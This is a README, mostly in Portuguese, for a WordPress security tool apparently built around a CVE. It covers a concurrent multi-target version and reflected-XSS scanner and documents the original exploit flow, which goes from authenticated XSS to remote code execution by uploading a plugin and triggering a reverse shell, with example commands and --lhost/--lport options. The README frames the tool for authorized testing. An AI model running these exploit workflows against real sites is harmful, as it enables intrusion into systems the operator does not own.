
Scanner de segurança para WordPress que identifica versões, detecta XSS refletido em vários alvos simultaneamente e suporta um fluxo de trabalho de exploração XSS-para-RCE autenticado para testes autorizados.
Desenvolvedor: Crédito: YogaGymn
Utilitário PoC/scanning para testes de segurança autorizados em WordPress. O projeto contém um fluxo de exploração para alvo único e um modo apenas scan multi-alvo concorrente.
Importante: Use este projeto apenas em instalações WordPress que você possui ou para as quais tem autorização explícita para testar. O scanner multi-alvo é intencionalmente limitado à identificação de versão e detecção de reflexão XSS; ele não realiza captura de credenciais, upload de plugin ou RCE contra uma lista de alvos.
O script original suporta:
auto, xss e direct.O scanner adicionado suporta:
ThreadPoolExecutor.O modo multi-alvo não chama as funções originais de RCE.
requestsInstale a dependência:
python3 -m pip install requests
Se sua distribuição Linux usar um ambiente Python gerenciado externamente, use um ambiente virtual:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Clone ou copie o projeto: Original do exploit yogaGymn
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
Ou simplesmente coloque:
xss2shell.py
no seu diretório de trabalho.
Crie um arquivo chamado targets.txt OU alvos.txt:
https://example1.test
https://example2.test
https://example3.test
Comentários e linhas vazias são ignorados:
# Alvos de laboratório autorizado
https://example1.test
https://example2.test
Execute o scanner:
python3 xss2shell.py -i targets.txt
A concorrência padrão é de 10 workers.
Por exemplo, use 20 workers:
python3 xss2shell.py -i targets.txt --workers 20
For a small lab:
python3 xss2shell.py -i targets.txt --workers 5
Não escolha um número de workers desnecessariamente alto, pois isso pode aumentar a carga de conexões e acionar limites de taxa ou controles defensivos.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
The default scan_results.txt uses tab-separated fields:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
Example:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
Status Meaning
XSS_REFLECTION_DETECTED The scanner detected the tested
HTML reflection behavior. This is
not by itself proof of RCE.
XSS_NOT_DETECTED The tested reflection was not
detected.
ERROR The check encountered an exception.O scanner pode relatar detalhes como:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDEstes valores descrevem a resposta observada pela rotina de detecção; eles devem ser validados manualmente antes de considerar um resultado como uma vulnerabilidade confirmada.
O script original também oferece suporte a argumentos de alvo único.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
Os fluxos de trabalho XSS/diretos podem criar ou ativar um plugin que contenha funcionalidade de execução de comandos. Utilize-os apenas em um ambiente de teste autorizado.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
Argument Description
target Single target URL.
-i, --input File containing multiple targets.
--output Output file for multi-target
results. Default:
scan_results.txt.
--workers Number of concurrent workers.
Default: 10.
--mode Original single-target mode:
auto, xss, or direct.
-u, --username WordPress username for the original
direct/fallback workflow.
-p, --password WordPress password for the original
direct/fallback workflow.
--lhost Callback/reverse-shell host for the
original PoC.
--lport Reverse-shell port. Default:
4444.
--slug Plugin slug. Default: xss2shell.
--callback-port Callback server port. Default:
9090.
--no-rev Skip reverse-shell triggering in
the original workflow.O modo de múltiplos alvos utiliza o seguinte recurso do Python:
ThreadPoolExecutor
Cada alvo é enviado como uma tarefa de varredura independente:
targets.txt
|
v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ...
+----+----+----+----+
| | | |
v v v v
WP WP WP WP
XSS XSS XSS XSS
| | | |
+----+----+----+
|
v
scan_results.txt
Os resultados são coletados à medida que as tarefas são concluídas, enquanto a saída final é gerada seguindo a ordem original dos alvos.
O modo de múltiplos alvos foi projetado para avaliações de segurança autorizadas e ambientes de laboratório.
Fluxo de trabalho recomendado:
targets.txt.Não utilize o scanner contra sistemas de terceiros sem permissão.
O scanner não é uma ferramenta completa de avaliação de vulnerabilidades.
Em particular:
unknown (desconhecido) não significa que o alvo seja vulnerável..
├── xss2shell.py
├── targets.txt
└── scan_results.txt
Não havia informações sobre licença no código-fonte fornecido.
Se este projeto for publicado publicamente, adicione um arquivo de licença explícito, como LICENSE. Este código é um desenvolvimento posterior do código original da ZSecurity.